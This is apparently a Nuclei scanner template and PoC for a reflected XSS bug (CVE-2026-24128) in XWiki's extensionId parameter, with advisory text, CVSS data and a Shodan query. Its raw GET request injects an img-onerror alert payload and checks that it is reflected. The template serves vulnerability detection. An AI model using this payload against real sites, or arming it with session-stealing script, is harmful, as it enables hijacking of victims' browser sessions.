XWiki Platform Distribution Flavor Main versions prior to 17.6.0 are vulnerable to reflected cross-site scripting (XSS) due to improper sanitization of user-supplied input in the extensionId parameter. An attacker can exploit this issue by injecting malicious JavaScript, which will be executed in the context of the victim's browser, potentially leading to session hijacking or other attacks.
PoC
id: CVE-2026-24128
info:
name: XWiki Platform Distribution Flavor Main - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
XWiki Platform Distribution Flavor Main versions prior to 17.6.0 are vulnerable to reflected cross-site scripting (XSS) due to improper sanitization of user-supplied input in the extensionId parameter. An attacker can exploit this issue by injecting malicious JavaScript, which will be executed in the context of the victim's browser, potentially leading to session hijacking or other attacks.
reference:
- https://jira.xwiki.org/browse/XWIKI-23462
- https://nvd.nist.gov/vuln/detail/CVE-2026-24128
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2026-24128
epss-score: 0.00514
epss-percentile: 0.42551
cwe-id: CWE-79
metadata:
verified: true
max-request: 1
vendor: XWiki
product: xwiki-platform-distribution-flavor-main
shodan-query: html:"data-xwiki-reference"
tags: cve,cve2026,xwiki,xss
http:
- raw:
- |
GET /xwiki/bin/view/XWiki/Main?xpage=distribution&extensionSection=progress&extensionId=org.xwiki.platform%3Axwiki-platform-distribution-flavor-mainwikia7jdh%3Cimg%20src%3Da%20onerror%3Dalert(document.domain)%3Eh5kturc1hk&extensionVersion=17.6.0&extensionNamespace=wiki%3Axwiki&extensionAction=install HTTP/1.1
Host: {{Hostname}}
redirects: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<img src=a onerror=alert(document.domain)>"
- "xwiki.extension.job"
condition: and
- type: word
part: content_type
words:
- text/html
- type: status
status:
- 200
# digest: 4b0a00483046022100a18dee3b88075d2bc17d513acabc89e2061b6c0f76cb7d0e621b92c83e63725902210092682a6a189ca71dacfacc3fe0dc4fff8c9b780f3f720d36d653ab081bced516:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.